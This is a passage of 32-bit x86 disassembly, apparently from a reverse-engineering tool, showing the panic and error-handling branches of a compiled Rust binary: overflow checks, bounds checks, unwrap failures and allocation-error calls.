call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10073fc8
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 6
push 1
call sym.alloc::raw_vec::handle_error::he63c9115d026ec98
xor ecx, ecx
jmp 0x1000f081
mov ecx, 1
jmp 0x1000f081
mov ecx, 2
jmp 0x1000f081
mov ecx, 3
jmp 0x1000f081
mov ecx, 4
mov dword [ebp - 0x348], 6
mov dword [ebp - 0x344], eax
mov dword [ebp - 0x340], 5
mov dword [ebp - 0x33c], ecx
push 0x10074314
push 0x10073adc
lea eax, [ebp - 0x348]
push eax
push 0
push 1
call sym.core::result::unwrap_failed::h534a40e08cfe968a
push 0x78600
push 1
call sym.alloc::raw_vec::handle_error::he63c9115d026ec98
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x10074068
push ebx
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
push 0x10074008
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
lea ecx, [ebp - 0x2c]
lea edx, [ebp - 0x348]
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x338], 0
call sym.core::panicking::assert_failed::hdfded22d68acbd34
push 0x10074094
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100740d4
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10073e60
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x100742e8
push edi
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x100742f8
push ebx
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x10073fd8
push ebx
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
push 0x10073fe8
push 0x78600
push ecx
call sym.core::panicking::panic_bounds_check::hf1cd1614d6353f3c
inc ecx
push 0x10073ff8
push 0x78600
push ecx
call sym.core::panicking::panic_bounds_check::hf1cd1614d6353f3c
push 0x10074018
push 0x78600
push eax
call sym.core::panicking::panic_bounds_check::hf1cd1614d6353f3c
inc eax
push 0x10074028
push 0x78600
push eax
call sym.core::panicking::panic_bounds_check::hf1cd1614d6353f3c
add eax, 2
push 0x10074038
push 0x78600
push eax
call sym.core::panicking::panic_bounds_check::hf1cd1614d6353f3c
add eax, 3
push 0x10074048
push 0x78600
push eax
call sym.core::panicking::panic_bounds_check::hf1cd1614d6353f3c
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x10074104
lea eax, [ebp - 0x348]
push eax
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
push 0x100740a4
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100740b4
push 0x78600
push ecx
call sym.core::slice::index::slice_end_index_len_fail::h31017dc9c470f2c8
push 0x100740c4
push ecx
push 2
call sym.core::slice::__LT_impl_u20__u5b_T_u5d__GT_::copy_from_slice::len_mismatch_fail::h5f426cd670fd0a03
push 0x100740e4
push 0x78600
push eax
call sym.core::slice::index::slice_end_index_len_fail::h31017dc9c470f2c8
push 0x10074114
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100742c8
call sym.core::panicking::panic_const::panic_const_sub_overflow::h31f5191bdbee8bd5
push 0x10074124
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074134
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x10074154
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100742d8
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
push 0x100000
push 1
call sym.alloc::raw_vec::handle_error::he63c9115d026ec98
movsd xmm0, qword [ebp - 0x2c]
movsd xmm1, qword [ebp - 0x24]
movsd qword [ebp - 0x40], xmm1
movsd qword [ebp - 0x48], xmm0
push 0x10073ec0
jmp 0x1000f439
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x10074058
push ebx
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x100740f4
lea eax, [ebp - 0x348]
push eax
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
movsd xmm0, qword [ebp - 0x2c]
movsd xmm1, qword [ebp - 0x24]
movsd qword [ebp - 0x40], xmm1
movsd qword [ebp - 0x48], xmm0
push 0x10073ed0
push 0x10073adc
push ebx
push 0x2b
push 0x10073b0c
call sym.core::result::unwrap_failed::h534a40e08cfe968a
push 0x10074188
call sym.core::panicking::panic_const::panic_const_add_overflow::hf3b41c4c75c49a6d
movsd xmm0, qword [ebp - 0x2c]
movsd xmm1, qword [ebp - 0x24]
movsd qword [ebp - 0x40], xmm1
movsd qword [ebp - 0x48], xmm0
push 0x10073ee0
push 0x10073adc
push esi
push 0x2b
push 0x10073b0c
call sym.core::result::unwrap_failed::h534a40e08cfe968a
movsd xmm0, qword [ebp - 0x2c]
movsd xmm1, qword [ebp - 0x24]
movsd qword [ebp - 0x40], xmm1
movsd qword [ebp - 0x48], xmm0
push 0x10073ef0
push 0x10073adc
lea eax, [ebp - 0x48]
push eax
push 0x2b
push 0x10073b0c
call sym.core::result::unwrap_failed::h534a40e08cfe968a
mov dword [ebp - 0x348], 4
mov dword [ebp - 0x344], 0
mov dword [ebp - 0x338], 0
mov dword [ebp - 0x340], 4
mov dword [ebp - 0x33c], 0
push 0x100742b8
lea eax, [ebp - 0x348]
push eax
call sym.core::panicking::panic_fmt::hced28cb7137b21e1
nop dword [eax]